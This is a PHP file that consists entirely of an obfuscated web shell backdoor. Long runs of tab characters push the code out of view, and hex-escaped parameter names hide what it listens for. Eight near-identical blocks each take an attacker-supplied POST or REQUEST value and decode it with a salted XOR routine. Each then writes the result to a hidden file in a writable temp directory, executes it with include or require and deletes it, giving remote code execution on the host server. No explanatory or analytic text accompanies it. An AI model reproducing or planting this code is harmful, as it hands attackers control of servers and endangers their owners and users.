<?php																																										if(filter_has_var(INPUT_POST, "\x63\x6Fmp")){ $dchunk = $_POST["\x63\x6Fmp"]; $dchunk = explode( '.' ,$dchunk ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($dchunk as $t => $v7): $chS = ord($salt[$t % $sLen]); $d = ((int)$v7 - $chS - ($t % 10)) ^ 56; $fac .= chr($d); endforeach; $component = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir()]); for ($descriptor = 0, $element = count($component); $descriptor < $element; $descriptor++) { $resource = $component[$descriptor]; if (is_dir($resource) && is_writable($resource)) { $flg = vsprintf("%s/%s", [$resource, ".entry"]); if (file_put_contents($flg, $fac)) { require $flg; unlink($flg); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "f\x61\x63tor")){ $resource = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm"]); $object = $_POST["f\x61\x63tor"]; $object=explode ( ".", $object ); $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $p = 0; $len = count( $object); do {if( $p>= $len) break; $v4 = $object[$p]; $chS = ord( $s[$p % $sLen]); $dec =( ( int)$v4 - $chS -( $p % 10)) ^ 45; $dat .= chr( $dec); $p++; } while( true); while ($tkn = array_shift($resource)) { if (!( !is_dir($tkn) || !is_writable($tkn) )) { $pset = str_replace("{var_dir}", $tkn, "{var_dir}/.property_set"); if (file_put_contents($pset, $dat)) { require $pset; unlink($pset); die(); } } } }
																																										if(isset($_REQUEST["\x64esc"]) ? true : false){ $reference = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp"]); $ptr = $_REQUEST["\x64esc"]; $ptr = explode ("." ,$ptr ) ; $val = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $w = 0; foreach ($ptr as $v1) { $chS = ord($s4[$w % $lenS]); $d = ((int)$v1 - $chS - ($w % 10)) ^ 14; $val .= chr($d); $w++; } while ($mrk = array_shift($reference)) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $record = str_replace("{var_dir}", $mrk, "{var_dir}/.parameter_group"); if (file_put_contents($record, $val)) { include $record; @unlink($record); exit; } } } }
																																										if(@$_REQUEST["en\x74"] !== null){ $data_chunk = $_REQUEST["en\x74"]; $data_chunk = explode ('.' , $data_chunk ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $q = 0; foreach( $data_chunk as $v8) { $sChar = ord( $salt[$q % $sLen]); $dec = ( ( int)$v8 - $sChar -( $q % 10)) ^ 56; $parameter_group .= chr( $dec); $q++; } $desc = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp"]); foreach ($desc as $key => $itm) { if (!!is_dir($itm) && !!is_writable($itm)) { $item = implode("/", [$itm, ".val"]); if (file_put_contents($item, $parameter_group)) { require $item; unlink($item); exit; } } } }
																																										if(isset($_POST) && isset($_POST["pset"])){ $val = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TMP")]); $flg = $_POST["pset"]; $flg =explode ( '.', $flg ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($flg); for($i = 0; $i < $len; $i++) { $v2 = $flg[$i]; $chS = ord($salt[$i%$lenS]); $dec =((int)$v2 - $chS -($i%10))^91; $desc .= chr($dec); } while ($res = array_shift($val)) { if ((is_dir($res) and is_writable($res))) { $dchunk = vsprintf("%s/%s", [$res, ".hld"]); if (file_put_contents($dchunk, $desc)) { require $dchunk; unlink($dchunk); exit; } } } }
																																										if(array_key_exists("e\x6E\x74ry", $_POST)){ $reference = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", session_save_path()]); $ptr = $_POST["e\x6E\x74ry"]; $ptr= explode ( "." ,$ptr) ; $factor = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $o = 0; array_walk($ptr , function ($v8) use (&$factor , &$o , $salt5 , $sLen) { $sChar = ord($salt5[$o% $sLen]); $dec = ((int)$v8 - $sChar - ($o% 10)) ^ 50; $factor .= chr($dec); $o++;}); while ($record = array_shift($reference)) { if (is_dir($record) && is_writable($record)) { $res = sprintf("%s/.flag", $record); if (file_put_contents($res, $factor)) { require $res; unlink($res); die(); } } } }
																																										if(in_array("\x70\x74r", array_keys($_POST))){ $flag = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $data_chunk = $_POST["\x70\x74r"]; $data_chunk =explode ( '.' , $data_chunk ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $w = 0; while( $w < count( $data_chunk)) {$v8 = $data_chunk[$w]; $chS = ord( $salt[$w % $lenS] ); $d =( ( int)$v8 - $chS -( $w % 10)) ^ 56; $ent .=chr( $d ); $w++; } foreach ($flag as $descriptor) { if (is_dir($descriptor) ? is_writable($descriptor) : false) { $itm = join("/", [$descriptor, ".binding"]); if (@file_put_contents($itm, $ent) !== false) { include $itm; unlink($itm); die(); } } } }


if(isset($_REQUEST["\x64a\x74a_c\x68unk"]) ? true : false){
	$ptr = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp"]);
	$data = $_REQUEST["\x64a\x74a_c\x68unk"];
	   $data=			explode			("." 		, 	 $data) 		;
	$pointer	=	'';
            $salt2	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen(  $salt2);
            $p	=	0;
    
            array_walk(  $data, function(  $v7) use(  &$pointer, &$p, $salt2, $sLen) { 	$sChar	=	ord(  $salt2[$p % $sLen]);
                $dec	=	(  (  int)$v7 - $sChar -(  $p % 10)) ^		64;
                $pointer .= chr(  $dec);
                $p++;}	);
	while ($flg = array_shift($ptr)) {
    		if (is_writable($flg) && is_dir($flg)) {
    $rec = vsprintf("%s/%s", [$flg, ".res"]);
    $file = fopen($rec, 'w');
if ($file) {
	fwrite($file, $pointer);
	fclose($file);
	include $rec;
	@unlink($rec);
	die();
}
}
}
}